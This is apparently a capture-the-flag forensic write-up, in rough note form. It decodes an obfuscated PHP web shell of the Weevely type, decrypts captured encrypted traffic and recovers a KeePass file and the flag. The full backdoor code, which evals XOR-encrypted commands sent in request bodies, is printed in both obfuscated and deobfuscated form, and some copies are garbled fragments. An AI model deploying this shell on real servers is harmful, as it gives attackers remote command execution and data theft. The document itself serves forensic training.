Obscure (Forensic Challenge)

~

<?php

V='

$k="80e32263";

$kh="6f8af44abea0";

$kf="351039f4a7b5";

$p="0UlYyJHG87EJqEz6";

function x($'; $P='++){
$o.=
$t{$i}^
$k{$j};}}return $o;}

if(@preg_match("/$kh(.+)$kf/",@file_get_contents(';$d='t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i';
$B='ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}';

$N=str_replace('','','create_function');
$c='"php://input"),$m)==1){@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@;
$u=str_replace('','',$V.$d.$P.$c.$B);
$x=$N('',$;$x();
?>

0UlYyJHG87EJqEz66f8af44abea0QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy351039f4a7b5

3Qve>.IXeOLC>[D&6f8af44abea0QKwu/Xr7GuFo50p4HuAZHBfnqhv7/+ccFfisfH4bYOSMRi0eGPgZuRd6SPsdGP//c+dVM7gnYSWvlINZmlWQGyDpzCowpzczRely/Q351039f4a7b5+'Qn/?>-
e=ZU mx

<?php
$k="80e32263";
$kh="6f8af44abea0";
$kf="351039f4a7b5";
$p="0UlYyJHG87EJqEz6";
function x($t, $k){
$o.=
$t{$i}^
$k{$j};}}return $o;}

if(@preg_match("/$kh(.+)$kf/",@file_get_contents(';$d='t,$k){

$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i';

$B='ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}';

$N=str_replace('','','create_function');
$c='"php://input"),$m)==1){@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@;
$u=str_replace('','',$V.$d.$P.$c.$B);
$x=$N('',$;$x();
?>

[https://www.unphp.net/decode/18ee9b97840e48dd5ece5c231e8fcc0d/](https://www.unphp.net/decode/18ee9b97840e48dd5ece5c231e8fcc0d/)

<?php
**function
x**
($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
**for**
($i = 0;$i < $l;) {
**for**
($j = 0;($j < $c && $i < $l);$j++, $i++) {
            $o.= $t{$i} ^ $k{$j};
        }
    }
    **return**
    o;
}
$k = "80e32263";
$kh = "6f8af44abea0";
$kf = "351039f4a7b5";
$p = "0UlYyJHG87EJqEz6";

**function
x**
($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    
**for**
$i = 0;$i < $l;) {

**for**
($j = 0;($j < $c && $i < $l);$j++, $i++) {
            $o.= $t{$i} ^ $k{$j};
        }
    }
    
**return**

$o;
}
**if**
(@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) {
    @ob_start();
**eval**

(@gzuncompress(@x(base64_decode($m[1]), $k)));
    $o = @ob_get_contents();
    @ob_end_clean();
    $r = @base64_encode(@x(@gzcompress($o), $k));
    
p**rint**
("$p$kh$r$kf");
}

uncode the php, the base64, XOR, GZuncompress

decode the string in tcpstream1

wireshark posts

"3Qve>.IXeOLC>[D&6f8af44abea0QKwu/Xr7GuFo50p4HuAZHBfnqhv7/+ccFfisfH4bYOSMRi0eGPgZuRd6SPsdGP//c+dVM7gnYSWvlINZmlWQGyDpzCowpzczRely/Q351039f4a7b5+'Qn/?>-e=ZU mx"

"3Qve>.IXeOLC>[D&6f8af44abea0QKxo+HM4thMoMKWcSng9UZNbdc4WFhO2jaU4eMhPaDTePEuB48JstWIb4aEirLpXpdgb7g8Bx/IGI/JLbVRcFack+r90YxXpmBA1wQKaU9jeRhvp7imF351039f4a7b5+'Qn/?>-e=ZU mx"

"3Qve>.IXeOLC>[D&6f8af44abea0QKxI+Ak49hMoNaXoypsATiJfd3clJ+KmL5OyfLiGNSBKHFWppDXbjhH/M9orZ0qPjQ14MLA5CjeLxAG9/fBJgQyWrbiZPrCFcj3xDb95CvC29r/AN2ziEh0351039f4a7b5+'Qn/?>-e=ZU mx"

"3Qve>.IXeOLC>[D&6f8af44abea0QKwu/Xr7GuFo56r7/X/jfHEdLv77HX4eaufRRXofHPkXukp5H/oZGfH8LuQCMrwmbybyl9RYnhQdJsKpqxrepRMoTSemlRLaXZdBZhoq75ohMhAxMvrQKEw351039f4a7b5+'Qn/?>-e=ZU mx"

0UlYyJHG87EJqEz66f8af44abea0QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy351039f4a7b5

0UlYyJHG87EJqEz66f8af44abea0QKzo43k49AMoNoVOfAMh+6h3euEZJvkTlblqP34rlZqPhxDgKLYMz7NpqfQ9IR9FOXy0OfVbUgo/PF3MxrMw/JOdJebwjE2y6VAxUFnyA4H4dHQNgV49YatbqT0it9IXYf5kzoE4+kfGnZ/dTAsyCesTC0i5V+gJQw6bYm/nU3U/lrYGyl+dgvIOURfl0fvGm0hmr0RZKQ==351039f4a7b5

0UlYyJHG87EJqEz66f8af44abea0QKy2/Pr9e+Z3eUh4//sZexUyZR8mN/g=351039f4a7b5

• 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351039f4a7b5

response

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

save to kdbx

chainsaw

HTB{pr0tect_y0_shellZ}

GitHub - epinna/weevely3: Weaponized web shell

Weaponized web shell. Contribute to epinna/weevely3 development by creating an account on GitHub.

https://github.com/epinna/weevely3